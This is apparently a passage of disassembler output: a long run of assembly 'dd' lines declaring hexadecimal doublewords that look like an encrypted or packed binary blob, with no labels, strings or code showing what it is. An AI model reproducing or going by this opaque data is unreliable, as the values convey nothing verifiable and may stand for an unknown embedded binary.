		dd 0D3F76E43h, 412CC910h, 0EB13EDDBh, 0CA6DD200h, 0B7A257E9h
		dd 65A57B73h, 12FBEA97h, 0AB24AA1Fh, 0B9C9DDE2h, 0FCAF0FD6h
		dd 88602839h, 602047EEh, 197B0681h, 0A4A4216Ch,	3173E917h
		dd 22C5B92h, 1F4939B1h
		dd 0A7403E99h, 0F3502DEAh, 0F2CA972Fh, 97FE0809h, 0C2065628h
		dd 28A511FFh, 890D014h,	0E52BA54Ah, 0BE52D2Eh, 0E0E47C1h
		dd 0B841A146h, 0F03AE4F1h, 2A413E6Fh, 3DEBFB40h, 6D685891h
		dd 60E00810h, 4656E47Eh, 0AAC9018h, 15637561h, 7C8B3F9Dh
		dd 0BF8054DFh, 2853BFB4h, 0E8A9895Fh, 8B1DFC92h, 91A1608h
		dd 6B226855h, 0A3809879h, 0D15B251h, 4A0B022Bh,	26C5E92Ah
		dd 569F7F67h, 0CEB658CBh, 41DFF6DDh, 0CA413E89h, 73917D36h
		dd 0BF87A3F4h, 331575A0h, 29451B37h, 0F75B0802h, 0AF5840Bh
		dd 5A185E8Fh, 1E53AD64h, 533DBFBBh, 8B12002Ch, 500A5474h
		dd 7BF0B804h, 0C0BB7834h, 25A9E940h, 0E5D185C9h, 9C7F2F10h
		dd 0E90DC4E7h, 2B3EA1CBh, 0CB2E05DDh, 77ED5F2Ah, 0F4546E13h
		dd 0AF124407h, 45FB8EBCh, 0AF667495h, 8F414C8Bh, 4AC4BC2Fh
		dd 662F3D04h, 21865209h, 7B4158A1h, 0EA1B902Bh,	1E606B9h
		dd 0FB09E2ECh, 5F1EC740h, 0BF6292A0h, 0E913ED39h, 0EF92186h
		dd 0D218B8D2h, 29E98E03h, 0C5E64F6h, 0EE44B431h, 5D6F3F09h
		dd 630AD12Ch, 292F88A0h, 9A925EC6h, 0E2DD405Dh,	153BCEF9h
		dd 7F501A68h, 0BD145425h, 248E535Ch, 4700A431h,	435DEB89h
		dd 164BE9h, 685954DDh, 57B93C83h, 98325793h, 0BB1DC5Fh
		dd 65D9D901h, 9C03C56Ah, 0F86A8736h, 7668C1F1h,	0E340BD30h
		dd 0A983E38Eh, 59623479h, 0FBAFB004h, 0C933D146h, 1CBB006Ah
		dd 4A05733Dh, 516C8050h, 0B83E5A4Ah, 8B47246Fh,	2D4F4C13h
		dd 396CF281h, 4866B55Ch, 0B53AE912h, 5B7864B2h,	0BECDC0B1h
		dd 38E4344Dh, 8B5FBF4h,	2124B5A4h, 0E5AF6918h, 0D301296h
		dd 7FAD004Fh, 1139E97h,	0FC04A4A3h, 2C264353h, 0D0F0ECEAh
		dd 4EE580Bh, 0D1B0822h,	22AB0AEh, 9109E913h, 0D403839Dh
		dd 4633E9F7h, 12DB8320h, 9013E3Bh, 35D2C8EEh, 7FC7D20h
		dd 454EB80h, 281E2191h,	3C812FD8h, 0AD3A3D0Bh, 30A297F4h
		dd 4E14A812h, 0DCE4FBDEh, 0F28CBA47h, 0AF1E5408h, 56F90CCFh
		dd 0F7F87CFEh, 5C643C09h, 25918019h, 80115036h,	1F69F4B5h
		dd 373850FEh, 0E49FBC91h, 5BB4815Ah, 9C197928h,	0C280FA07h
		dd 912CC1DFh, 0C884D028h, 88A07FE9h, 7378F673h,	0FC70ED27h
		dd 1AB9C0BAh, 0D0BD4E2Bh, 78516CFh, 0BA481731h,	17349642h
		dd 4E2F8F3h, 4BE95556h,	52C49538h, 608AAF00h, 0E83A897h
		dd 174E6BE9h, 0FCB839FAh, 8C9C9E46h, 0BB69C781h, 7492AF87h
		dd 0AB275231h, 3D1C21CAh, 63FC2F07h, 67DC55Ah, 9D572DE9h
		dd 43A96804h, 99AF4B35h, 0C17F6CD3h, 635A5FABh,	16FB6530h
		dd 0B04DDD5Bh, 742FE9DEh, 0CDFD276h, 7CEC5D03h,	55136DF2h
		dd 1EA444D8h, 2E5305DFh, 25F131B0h, 7DB90135h, 0C8EC68C8h
		dd 1B976E37h, 0E9280921h, 987F7118h, 0E4AAF355h, 3EB06937h
		dd 14240CAh, 2B904C72h,	7ABCA7EEh, 7E1C001h, 9970B753h
		dd 0B449963Bh, 3D45C05Eh, 121EEF59h, 6949A02Dh,	6A0CD794h
		dd 36025EB8h, 53E93A72h, 0A798773Ch, 0D27A1B92h, 9249593Fh
		dd 0CEE467E8h, 273BB475h, 80133C7Fh, 803E8770h,	152C58BEh
		dd 0F11FB1DBh, 94F02212h, 5B9309B9h, 4AD608A2h,	742D1924h
		dd 2CE986D2h, 5A4B2678h, 8A5335BCh, 0F3C80150h,	0A8984057h
		dd 81974AE9h, 40D8299Fh, 0AF761FD9h, 0B5AD0B4Eh, 5DD4E816h
		dd 7E0A896Ch, 5871A5Eh,	0EA4C894Dh, 9D4B707Bh, 7FFA2FDEh
		dd 7AA67D97h, 493271A7h, 20BD8E8Dh, 0DF4DF5D7h,	0F8881C5Ch
		dd 5B2CD6A8h, 0FB080D66h, 27B902A4h, 34605C1Ah,	4104DEC1h
		dd 0E1D10DA7h, 5E2EF080h, 0E3245F5Dh, 0DA0C606Dh, 9D824285h
		dd 0B8756E8Bh, 4125E942h, 751C3A3Ch, 60F0E1DCh,	5E20DD2Bh
		dd 2E07A153h, 572762AEh, 29FD84E2h, 98F3E476h, 0C5792022h
		dd 0A00CE0B7h, 44222527h, 0CC01ACF0h, 50D705ABh, 4A24E889h
		dd 522C4A8Bh, 0DC92BECFh, 0F36D405Ch, 3BB68030h, 1FB15103h
		dd 0EAE0F180h, 495D61Bh, 1E468468h, 0FD6F5D9Ch,	1DA6D128h
		dd 58E544F4h, 0A7E5FA5Ah, 1E2C0130h, 0D39904A3h, 0DDB4D363h
		dd 5EFEBE13h, 0E9C3BEB6h, 220259E2h, 62232BFh, 34FF82Fh
		dd 30AC6852h, 701901B6h, 2D8E7AECh, 26A8B57Bh, 600127EEh
		dd 48AE3830h, 62185F0Ah, 7715D335h, 8097D288h, 370BC281h
		dd 8070F64Ah, 0A41F11B9h, 9739009h, 7EE8144Ch, 0E92762F0h
		dd 90EE55ADh, 8FD276F6h, 0F92AA0EAh, 90780AD8h,	0BC2FE139h
		dd 0F280B1EAh, 0A5C5FDAh, 0CCADF651h, 1A1AAFC2h, 58C1AF68h
		dd 2DBB3AE1h, 0EA329D1h, 4705E268h, 71D98B52h, 0BEB36F89h
		dd 0F848B1CBh, 0F2BF5120h, 0F4291344h, 0E644BE3Fh, 46BE8218h
		dd 417F2204h, 21BA444Ah, 0D86B5E5Eh, 32DF580Ch,	0D5FC7FD6h
		dd 184989C9h, 5F6282E0h, 0E1188A7Ah, 3C70084Ch,	15AA0EE6h
		dd 9CDE7671h, 66101826h, 0E7BF5EF0h, 5A8CA072h,	0E25AE4D3h
		dd 39BF915Eh, 46EB2E01h, 0EB287646h, 4A605EBDh,	0A1C5259Dh
		dd 0C1ECEE80h, 38E9FA7Ch, 0EA4B69BCh, 0ACF3D299h, 206899B0h
		dd 0F4B70574h, 4BE9C72h, 0B0411126h, 0D35FF71Ch, 806B418h
		dd 4F5F33E9h, 6197ED6Dh, 0F3898F83h, 748204E9h,	88FCC66Ah
		dd 1084F148h, 0BF0235B3h, 6AA11D1Bh, 0C7FA88E0h, 31263E02h
		dd 76B6E9FDh, 68580347h, 951C0F23h, 0DC2F19B4h,	8568D099h
		dd 0F49DFBB2h, 0E92F54B2h, 0B527D86Eh, 0EDBB2438h, 0F2BE19CBh
		dd 0E36CB277h, 0E9A0C878h, 4C971C42h, 393F2058h, 87C58016h
		dd 50E53004h, 1F30E317h, 8A49D389h, 6261562Fh, 0B2D97D82h
		dd 28D6F627h, 0B8BA4048h, 0A6096924h, 812B8025h, 2916E0CBh
		dd 8B631370h, 421245D2h, 7C0B7759h, 887EFCF8h, 916941Dh
		dd 0EDEABA40h, 9F13A746h, 472FE82h, 0A290B8E6h,	5864E282h
		dd 0D142B02Dh, 1D0A8245h, 5B776323h, 820C20B2h,	0A037FC08h
		dd 0FE5E9F1Ch, 6D52C596h, 0CBB8F4EFh, 2F4D6E49h, 0A44571EDh
		dd 9A50AD9Dh, 0EAE72D60h, 7B6A8D4Ch, 552B2E6Ch,	0B1056F43h
		dd 3F34BA60h, 0FBE1EC4h, 67EC80DEh, 0F4BD0106h,	868639B1h
		dd 28DCB050h, 3324697Eh, 0F6AF48E5h, 39A303BAh,	0A4163563h
		dd 8812E125h, 134241B4h, 0B1677674h, 0BB070494h, 908B7C0h
		dd 50125E53h, 0F13BBB41h, 0E6E20114h, 6D64E106h, 0E9064CEDh
		dd 61C80DE6h, 2FB40B24h, 0D104C7E3h, 78CFAFFFh,	0AFF68C17h
		dd 4C4224CCh, 89A29D4Fh, 0B2206D50h, 3F6818A5h,	620D4351h
		dd 109D2F9Ah, 5A7768CAh, 0DDD1DC53h, 0BD003841h, 5E437AD0h
		dd 186851Eh, 27F2529Ch,	0D08E3A44h, 179AE5Ch, 0E44891CEh
		dd 3BDEE90Eh, 5795A917h, 0FEEAF809h, 20B0E9ABh,	2F5664E9h
		dd 14F610F4h, 718BB02h,	566D01h, 599DB620h, 0C22469D6h
		dd 0CB16EF1Fh, 6905D160h, 4DD91D7Bh, 0AE968240h, 0BA4AABF7h
		dd 2A012441h, 804F8BE2h, 0F8B850EDh, 5D185501h,	76155C0Dh
		dd 0A48C57Fh, 89A065FFh, 6B505FFDh, 47C525A8h, 50BAD4EDh
		dd 338E4D17h, 9FBD97A0h, 14D7118Bh, 6C82B503h, 94F56411h
		dd 3D0120F0h, 0EE774E7Ch, 0CCA2464Ah, 0D0F3B307h, 32C293EBh
		dd 0FAC05D2Eh, 0F381DA13h, 0B82F9468h, 5CC5C1AAh, 0EF2B35A6h
		dd 0CCE93921h, 0BD019628h, 1CEB7FBBh, 0FEF82E09h, 0AC17B13Dh
		dd 0E963C074h, 7BBA871Ah, 5D93FFB4h, 0C6D47F1h,	8EA5E90Ah
		dd 8254A5FDh, 9069684h,	57D79CD2h, 0F15B4F7Ch, 0BC3468B7h
		dd 0C2F8E55Dh, 0E80B4A0Eh, 8C563DE4h, 1A69F7BEh, 6A5C31EEh
		dd 0FA03800Bh, 89200158h
		dd 63BB0138h, 877C3132h, 9CC37BD3h, 81908D36h, 0B2304858h
		dd 16EE7AF3h, 0E0FCDAEDh, 29255DE4h, 0B95980CDh, 0EF2B8F18h
		dd 0D2E0A33Fh, 0C113E9F2h, 0DB5DF920h, 66F08531h, 5AF2F4CBh
		dd 0AD01AA21h, 1BE0577Dh, 5061604h, 0EB75441Bh,	5579C8F2h
		dd 0ED3F9240h, 6A9C410Ch, 57A2BBE9h, 6F1107C1h,	553226B2h
		dd 4F07E15Ah, 7D8EA3F2h, 791B51Ah, 39082A51h, 0D7280168h
		dd 0CAA52C5Ah, 90ECBC43h, 485DBFEAh, 122A6A24h,	424D0D03h
		dd 8F7B00Eh, 467D2F10h,	84BF6B5Eh, 0EB65BE80h, 0E5D19691h
		dd 0B26F5ECh, 31BAC55Ch, 0CE0815F1h, 0AF5F1379h, 5ADE198Ch
		dd 0A64EFD5Bh, 0F1469D0Ch, 21F905B5h, 0E9A888AAh, 5A569438h
		dd 8F8C27ABh, 0A6AE9269h, 0AB2AAFA5h, 40ECF828h, 0B20F5206h
		dd 44C2FEFBh, 28AAD69Fh, 7C0BEAA9h, 42AF555h, 0FFE5D0C4h
		dd 0FCE0FFD9h, 0B374BFB3h, 4291F669h, 796C7D41h, 82DE272Ah
		dd 0A00FD980h, 94548082h, 0EC4D5A1Fh, 35B204C6h, 0EB895D02h
		dd 31E94300h, 954B3D73h, 5C49A6F9h, 61BC08E6h, 28FB0196h
		dd 564B5A00h, 0DD0DAEBh, 0C59620E9h, 4A52B342h,	5940FD6Ch
		dd 0C8240697h, 20004554h, 89B9CB01h, 99E913EFh,	6772EEBBh
		dd 2061F831h, 0BE050BA9h, 719932D4h, 2F7DB5A8h,	35DA3B03h
		dd 772F1DECh, 3FCAF40Bh, 42D0E713h, 58742C40h, 7344AE48h
		dd 0E978C904h, 45FAD2A6h, 0B93EDD8Eh, 9DBFC0BBh, 9DEED3D8h
		dd 89C93DF6h, 836A42D0h, 536E419h, 7BDECB3Dh, 0EB71C0D1h
		dd 0DA062403h, 15C4E96Ah, 5BB96E2Eh, 77ED891Eh,	0B58BB075h
		dd 43688025h, 23BC704Bh, 0D05E4AC9h, 7D04FF42h,	2AA447DBh
		dd 41127717h, 50E7EA15h, 35F0F86Dh, 2CAF3E5Fh, 559A43F7h
		dd 440DA2A0h, 32525A2Ch, 92E3C10Ch, 0D8744F95h,	41644A47h
		dd 13BBF43Dh, 959DBAADh, 5928D6F9h, 0A72D583Bh,	0C05AD9E0h
		dd 53079390h, 0F380F1B3h, 0B05E48Fh, 0CD40A8F7h, 81578299h
		dd 3A1A0D3Ah, 985DD624h, 0C2F2353Ah, 3E8B81D3h,	80FC7A52h
		dd 0A81E08D3h, 0A6AA5D12h, 68086379h, 70A2B436h, 9272F150h
		dd 255E7FD7h, 62D927CFh, 0D57E2FBAh, 19172918h,	1CBC8BB9h
		dd 552F0AB0h, 5F4AFDB4h, 17DE8EAAh, 67B9657Eh, 37D30186h
		dd 0CB9E2DFEh, 50530242h, 7E840B35h, 55E1D6Eh, 80525C58h
		dd 3F5F56E9h, 0C2AF21AAh, 0C6047F58h, 0A0E4535Eh, 1481D2FDh
		dd 7D1FA4C3h, 0A948962Bh, 0F2D0287h, 5743F971h,	0B72C6F7Eh
		dd 26216907h, 7477D952h, 48A788DFh, 2BE58007h, 1C6297E3h
		dd 0B66F7DBh, 0C2D62931h, 0B273E482h, 572460F4h, 0EBA2D6Ch
		dd 88285DAh, 0C66A23C1h, 0C62FEBD2h, 7AEB5427h,	4ACD2060h
		dd 1335C0Ch, 4A9F30F7h,	359838CCh, 89651A00h, 9CA22D0Dh
		dd 0F67EB054h, 7CC5BF4Ch, 2D84B512h, 0EF5A4DE3h, 28F44B31h
		dd 2FC58581h, 606FD018h, 8E16BE5Dh, 17FAB05Eh, 7E89FF78h
		dd 0D2DEB3Bh, 952FE662h, 67684881h, 0AB6C2F1Ch,	0BF3E40B1h
		dd 2A5D4E0Bh, 2C7F812h,	3780F381h, 89758C0Ch, 1C3784E3h
		dd 686B23FAh, 58294ACAh, 6A9701F7h, 54E93C9Bh, 14276F64h
		dd 25221183h, 0B74EFB7h, 45AC058h, 0F5E90645h, 0F8CAB516h
		dd 1B5CC733h, 0B76E04CFh, 44EEABD1h, 10362D70h,	0BE1313D3h
		dd 6A2ECECh, 3312B776h,	4454A7EBh, 0BAB2C093h, 5B77BE12h
		dd 9FEC017h, 0A3C151A9h, 0F511205Dh, 6856B004h,	55A0894Ch
		dd 127C07F7h, 93C114DBh, 0F8A2E907h, 0F033B803h, 20D131Fh
		dd 4022321Dh, 0D657E0D1h, 0F5054375h, 4C366B9h,	438D9001h
		dd 0BB427241h, 580781C7h, 31E8F801h, 48B27C5h, 8B6917F7h
		dd 44D7E073h, 0F519F211h, 0B0FF5B6Eh, 0B9249084h, 503D35E1h
		dd 62251334h, 963675BBh, 312E0A94h, 0C61753D8h,	0E834CDAAh
		dd 23BAFCF1h, 70028781h, 98B76DE7h, 0B22E562Ch,	0EED17688h
		dd 0EFEFF413h, 0F62AF132h, 0ED5B5BE0h, 0BA7C73B9h, 4E4D0E25h
		dd 15D9FD8h, 0BDE9A475h, 0ED812180h, 4A2038A9h,	602B4EB7h
		dd 0FCC12361h, 847BA493h, 293FDE2Ch, 1F16C6A0h,	65EE408Bh
		dd 1019829Fh, 0FF5805h,	6BADC957h, 4CC107A7h, 41880C93h
		dd 1280AA35h, 30E431D7h, 8BBCCA89h, 19AC16C3h, 0EEC20984h
		dd 0BD5964DAh, 794E54EAh, 9D7543FDh, 6497D679h,	8902DC09h
		dd 55DB6282h, 0C40656Ch, 0CC2D5FDFh, 0C8BDACCEh, 4BE9D920h
		dd 1B581CDh, 0E4D552D8h, 0F6010C71h, 28F568D9h,	0CDB62150h
		dd 8C63F80h, 450ADEB7h,	0B9BEA030h, 25052349h, 1B9D4D6h
		dd 704063EBh, 0E41E6F7h, 44302A6Ah, 27692AC9h, 92F15ADCh
		dd 76D01402h, 566355AEh, 10BB59Dh, 0ED241BBEh, 41CC2048h
		dd 8019209Dh, 0BD2B3B68h, 72F78A68h, 889F3A32h,	0CFF060F9h
		dd 6DC95C2h, 6A9F00CBh,	0BD521858h, 804CECAh, 65B2FB5Fh
		dd 93EFC87h, 0C0FC655Dh, 398D94C5h, 55D0AC50h, 0A5BB2ABCh
		dd 9104FD0Bh, 8DCBFFE2h, 2998984Bh, 0A55D54B7h,	0E9F84976h
		dd 9AAD4850h, 0C6D4BA9Ah, 5FB11D65h, 0B501ED3Eh, 0ED6D3CE4h
		dd 9CEE432Fh, 0D676D74Bh, 11D40D16h, 0BEC7AA00h, 0B0288560h
		dd 82B89835h, 44D508h, 755DBD3Dh, 0A5707A65h, 8385CB0Bh
		dd 71AA86h, 0B050E37Fh,	0CC0FE7Ah, 34086F60h, 61C32806h
		dd 0F052CA58h, 3DFB2FFFh, 34F93BE5h, 16251E1Dh,	0BBE1A3Ah
		dd 67E928C0h, 56C4460h,	75D73B5Fh, 7DC10027h, 0B9510811h
		dd 77240160h, 59024119h, 7D3D575Ch, 0B848185Ah,	0FA0C3F4Eh
		dd 2E17F90Ch, 2D270C16h, 0A100BB3Ch, 185CF0E1h,	5433899Fh
		dd 6994C247h, 0C7F61877h, 360E2D49h, 2B01EC40h,	98CAFE80h
		dd 1485593Dh, 5D00744Ch, 20BB530Eh, 95F3A1Fh, 5F40D6C2h
		dd 800101DCh, 8E7C13Ch,	4BD8E27Ah, 12EF8CE4h, 0F19E71CDh
		dd 0ED3F2009h, 0D81F764Ah, 5A3DD910h, 8CBBFCEh,	47D8E917h
		dd 2FE530EDh, 86D5F6A3h, 0FED4080Fh, 0E9DC01C4h, 0CA7F556Eh
		dd 35EB02D4h, 83EFCBBEh, 2B0A0F6h, 225CBB4Ah, 1EE01AA1h
		dd 82EB0360h, 1391E30Ch, 493C410Ah, 1605842Ah, 925BA3EDh
		dd 0BF703BA8h, 8F5DD0CEh, 7D1F5C21h, 7E1A6302h,	7575EA68h
		dd 0D5768398h, 261D86A3h, 5885552Eh, 0AA01F929h, 62D414BCh
		dd 13726F20h, 0BEF55D40h, 0B6ADF912h, 3686EE80h, 0CEFE46AAh
		dd 8818C90h, 0AE67F59h,	2D549670h, 0AC54E356h, 8CE925E6h
		dd 10FD0909h, 823C0895h, 2F2F975h, 78795785h, 0B0497675h
		dd 3149AE7Eh, 4042712Fh, 5C54E89Dh, 0F2029390h,	7DEEE3E4h
		dd 7017E902h, 15041D60h, 32C9D28h, 0AFB75366h, 81D471D3h
		dd 70E317h, 3036C3B9h, 59F64785h, 86A2EE29h, 0E95D0B03h
		dd 2DEAF7CAh, 78C7DE57h, 5F81C944h, 0C439BA3Bh,	28228322h
		dd 403FE92Dh, 60FA0833h, 803EA25Bh, 0C7E655F7h,	18205F35h
		dd 0E9710C80h, 48B04133h, 754535C1h, 0EB045EA6h, 7ED61CC0h
		dd 0DF7D542Fh, 19577ABBh, 0DCEC5A01h, 0AE70125Bh, 4E1C4576h
		dd 35E1837Ch, 4A1B7AF0h, 3EFBBEF4h, 604578D9h, 0E9E5DCFAh
		dd 246ED159h, 111C8D5Ah, 803E6D09h, 6248D053h, 0B389857h
		dd 3472494h, 21121AD6h,	1DB435B8h, 0C3609FF8h, 0EB41E940h
		dd 2CB0584Ah, 3A9A413Eh, 68571100h, 7EEA8F31h, 7499381Bh
		dd 7838FE4Eh, 5F4E609Ch, 0B65165EFh, 0C02EF2C9h, 4A4721E4h
		dd 0AD3DEF1Ch, 70895932h, 0CA0B2452h, 87AD2C79h, 28882369h
		dd 0E0F604E6h, 0AA634F8Dh, 0D4B7B705h, 0BE406C8Dh, 4B6046A8h
		dd 8EE5032h, 517ED946h
		dd 79ECB4C6h, 8166000Fh, 2D6FA4E7h, 0C7488365h,	9DCF1FD1h
		dd 707C1E89h, 0C0D173B2h, 0B77F6FE6h, 0FE0B29EBh, 5163D5E9h
		dd 0EA5397E2h, 0B321468Fh, 1320C508h, 0EF37D5B9h, 54081FF5h
		dd 0A1B349E9h, 80595827h, 53C6762h, 99B8052h, 304E8C0h
		dd 0C688432Ch, 0C06A89BAh, 661358C2h, 9C0E8052h, 0C45ACE01h
		dd 98EE0ACAh, 0E916D854h, 7AA22161h, 0BCA4513Ch, 0EA4EBB17h
		dd 0E85AFA9Fh, 39B4C3A8h, 80579850h, 3B3D73ECh,	0EB166CC4h
		dd 0DDF61EB1h, 0AE5852C3h, 0A12B17E5h, 0C8C0295Eh, 0B059121Ch
		dd 680050D5h, 7B5179Fh,	1ECE0558h, 0C9406F5Ch, 56195E42h
		dd 0F5A8852h, 0E58100D3h, 7FAE1B18h, 2375695h, 4697DBFDh
		dd 2C13FA75h, 0B1D0BAE9h, 27F803Ch, 0CBFAD531h,	538CAD25h
		dd 0FB6697A8h, 0A13E0199h, 3E4D32ABh, 5E1CE787h, 0B3D407C4h
		dd 0C42FE3BFh, 44B1B6E9h, 840ECA6Eh, 0ECAAF01Ch, 1045A521h
		dd 9DBBDF5Bh, 42457A7Dh, 73EE5D54h, 0AEAD3222h,	417E5498h
		dd 0EFAF2014h, 1F4D9BF0h, 87F82815h, 86842C4Eh,	0B301A2FAh
		dd 0B6AFB43Ch, 57A394FAh, 0EAE15B21h, 0A011EC2Eh, 0FDD25ED6h
		dd 0F6F94A20h, 925963CDh, 28051A7Ch, 0EC885EB5h, 3CC0082h
		dd 8AB95455h, 0C2D38550h, 0B4C128B5h, 5801B340h, 72F5DE89h
		dd 0FB2924F3h, 16931021h, 1DBF032Ch, 79943DF7h,	81A5AECDh
		dd 5422E70h, 8605B712h,	45AB1FA5h, 0BB3DB921h, 973B13DDh
		dd 2916568Ch, 8268563Ch, 5E7C303Eh, 5FFC5552h, 54F4BA81h
		dd 0E56019D2h, 65A0232h, 2E2C108h, 8E8CA662h, 6212D23Eh
		dd 380B1174h, 0BECF60B1h, 0BA2D13ECh, 42931C6Fh, 89E4EB31h
		dd 0C2B2C6C3h, 0F258F3FCh, 133023Ch, 0CE0BE974h, 0BB244FFAh
		dd 6889D778h, 40A45F2Bh, 0AF06946Fh, 0B4A89C65h, 2C80B673h
		dd 0C5C20142h, 68A33EA4h, 37B64BCFh, 0BE51894h,	0F764EF53h
		dd 39745E4Ah, 20D98FC0h, 340BE96h, 683D5D5Fh, 0C3760C07h
		dd 29B4F658h, 0DC28F491h, 0BCD79762h, 881510E4h, 17325D24h
		dd 4F38AA5Fh, 3F3425E9h, 22EEF752h, 7F924A16h, 0DBB0CD01h
		dd 1F3EF7A7h, 80A08B6Fh, 0F82A79D9h, 971290BDh,	4A42B433h
		dd 0E75A09C0h, 0B18FD355h, 3F4139FAh, 558075E2h, 5D38B850h
		dd 89226717h, 0C0751CFFh, 6913094Bh, 0BB0B534Dh, 7021DAh
		dd 437CC3ACh, 724B816h,	8F6C38E3h, 9EF3C34Dh, 8F442CB9h
		dd 2F7F150Ch, 93EB8053h, 0E7F75CE9h, 5E7B47E9h,	52D893Bh
		dd 48F65DCEh, 38681C40h, 0BF4A0E02h, 0A01748CFh, 4955D56Ah
		dd 16DF5DADh, 54E32FCDh, 1762BC54h, 93A2DBAFh, 23E2AA59h
		dd 6FE18DA1h, 0B4A3DF75h, 0B7BA5201h, 2027142Dh, 6D003D86h
		dd 0D1292BCDh, 0BDA2EFE9h, 31C172F4h, 5C898FC3h, 0F9FE1CD4h
		dd 0AB705D79h, 5750802Bh, 65B4F79Dh, 0B059659Dh, 6F359698h
		dd 95E96A17h, 1BE3DC4h,	43C7804Ah, 6F35A868h, 0B18A36CBh
		dd 56686D2Ah, 0AD1D5A26h, 75129550h, 0CF011ADBh, 3B2DDA13h
		dd 7B56AF3Bh, 0F8F9020Bh, 0F8212D9Eh, 0B4331C75h, 0F6E9F139h
		dd 2052DD49h, 8147CD2h,	7BA6DFEh, 313F533Ch, 0EC5C8166h
		dd 48E27832h, 741685Ah,	9B6FDA02h, 0A9C885FFh, 8A59BD88h
		dd 9BC058A7h, 5B458986h, 68524018h, 0CA26C304h,	0C3B85A28h
		dd 8860B216h, 35276849h, 2836181Eh, 3C372F0Dh, 0F38AD0Fh
		dd 0E91BF529h, 0A9984986h, 0FD2E1BD7h, 0CAA2CAE6h, 21C7B4BAh
		dd 85F9E6FBh, 89EE6F20h, 823642FDh, 7D2CB102h, 88CF1FA0h
		dd 0D19659CAh, 0FA30EF04h, 0C9A0C1AFh, 0BF2E95D5h, 2B5A84C3h
		dd 85E934C0h, 24EAB72Dh, 908B2BDCh, 700ED6D1h, 521651B4h
		dd 1DAE50B2h, 97B0120Ch, 0E9D40029h, 3CD6F247h,	552C59A6h
		dd 1A291A7Eh, 50C4D77h,	0D0CF61E9h, 0D6686688h,	0A230787Ah
		dd 0A8CC397h, 1D2E4874h, 0D454A905h, 0F3B4AE41h, 6B4613A6h
		dd 0C55CBB11h, 268A88C0h, 0B0F8098Dh, 0E092AAh,	0C5474CB9h
		dd 58E18177h, 1F412705h, 0E501D9F7h, 68F06EA4h,	91E1463Fh
		dd 8F2368Ah, 0EAFD254Bh, 95D2EDB2h, 2EFB7590h, 0FCFA20BAh
		dd 4D3C1D06h, 7F80DB89h, 4F264976h, 8135003h, 0EE5E592Fh
		dd 55FB0269h, 0BEBF0593h, 0B865CAF1h, 9A31FE2Ah, 7E626356h
		dd 69E6C187h, 6D7C6F5h,	0D00DF4CEh, 0B20C0C4Eh,	242D8843h
		dd 4A5FE86Ch, 5601FF1Eh, 0AE35BDE7h, 29B9C0E2h,	21B11337h
		dd 0D20512E9h, 0F95FC243h, 1AF264F3h, 408E54CCh, 802DB151h
		dd 0A4D7C939h, 0E10B90C1h, 2ED0A737h, 16956A73h, 0AAEF0130h
		dd 55FA0D1h, 7BC9AC6Fh,	0DEBCB998h, 28EDCF88h, 0EE3C4C15h
		dd 48B909D2h, 0C263E6DEh, 0EA5B17F3h, 446565Dh,	30C30C8h
		dd 0C359FC04h, 0A340ED2Ah, 0C8618CF1h, 66C99720h, 0D0122A25h
		dd 327E7FB6h, 211619E5h, 7ED2F077h, 1C70108h, 8AE9DFF7h
		dd 0CA559F11h, 0F0188Bh, 0A3FBF29Eh, 892C0EABh,	57ABE9D0h
		dd 0DE0A02Eh, 5F153AC5h, 3E8C117h, 0FA2994BAh, 5C8657CAh
		dd 0A39FAC55h, 0B751E048h, 7F6D7992h, 8B88B645h, 77006F38h
		dd 0E9522DFBh, 0CFC13E4Eh, 5A2020BAh, 0D5749D04h, 2B73C281h
		dd 0C9300C3Dh, 0C7291F3Bh, 0E9D88215h, 6A64818Eh, 0A7C47EB7h
		dd 0A72CC777h, 13E9F021h, 788873CEh, 5D814B25h,	0E04B7565h
		dd 1A40BF85h, 3E014816h, 92B2462h, 2B5DAC86h, 0B22850F2h
		dd 195BEC26h, 4FD6774Eh, 2BAA49F2h, 0E4635D16h,	6C7764F2h
		dd 279392C2h, 0E23687Eh, 954A0A3Fh, 0EC1E4BACh,	5AE7CBD7h
		dd 286E4FB1h, 10B44EFFh, 7F3013BDh, 230AE04Dh, 0DD792964h
		dd 0E3C287EEh, 0AEB59745h, 807EAA1h, 5551AE72h,	8BD79AB2h
		dd 113C5F5Ah, 7A6A3FB1h, 6829C509h, 9B37AA4Ah, 9ECA872h
		dd 327D0A7Ch, 633685Eh,	0CF387903h, 8D3B4B0h, 0B3037E94h
		dd 0CA3AB1C7h, 0B0FDAD76h, 0CDDD4ACBh, 4A234043h, 6562A50Eh
		dd 0C2535A0Ch, 0C21F4276h, 34080D43h, 0D0E91400h, 7E929FDEh
		dd 0E61A46C0h, 0DDAF12DDh, 0B644248Fh, 1CDE9B7h, 1353178Dh
		dd 0BA8892Dh, 973A70DAh, 0B58B1CDFh, 0C02E22Bh,	15E61638h
		dd 0C06A70C5h, 59BA8CBBh, 7A536813h, 480060F3h,	81746C5Fh
		dd 4731B0EDh, 0B90896DCh, 60FD0101h, 0E00CC590h, 0C7E201Eh
		dd 0BE101FEDh, 3868FE4Bh, 25B92408h, 0EF5CC584h, 0E9121E8Bh
		dd 4563A03Dh, 995A290h,	765B5DD7h, 68C38061h, 0FFA20692h
		dd 0FB415CB5h, 8903B6F0h, 2E08E1D4h, 58B29CB8h,	4165F95Dh
		dd 8B434DE9h, 0C5CBFE0Ah, 0E4B6046Dh, 0D62386C0h, 0A05F6640h
		dd 2C6AD2F1h, 24B2CD0h,	728C7A50h, 480CB600h, 8989028h
		dd 468B3964h, 7A020424h, 0F4101F57h, 947F2F39h,	48F520F6h
		dd 7842A880h, 0ADF0B53Dh, 9D0BF8D5h, 70EE22DEh,	55220D93h
		dd 0B36420BBh, 25BFC55Fh, 8313BF69h, 61487FDEh,	1EA7D64Ah
		dd 7950AB0Bh, 0AAC180BEh, 50530828h, 0A0EB9429h, 5E5CE908h
		dd 0E0FF480h, 0AD20E641h, 4B7D1305h, 0F801AA06h, 113E797Ah
		dd 4082D3F5h, 74FC3048h, 0F8A24F64h, 7BE9157Ch,	0F4A0042h
		dd 0D2E96617h, 431D4096h, 76ECD889h, 2EDB60B5h,	45000CBFh
		dd 633FBA52h, 4A31571Dh, 8E8AAAD5h, 0E7F50976h,	5B89A24Dh
		dd 4295FAF8h, 0C21C5D84h, 6F961434h, 0E8B549BCh, 0E7F25AFAh
		dd 65464004h, 21548128h, 0FD88011Eh, 685B5D82h,	597413E2h
		dd 61EBE9C1h, 0DDE58801h, 0EB1C6F90h, 67CC85C5h, 0FCB88DBEh
		dd 8924203h, 7FABEB51h,	3919B1B2h, 925E70C4h, 0A34932B6h
		dd 0A422D7C6h, 0E25DA9EEh
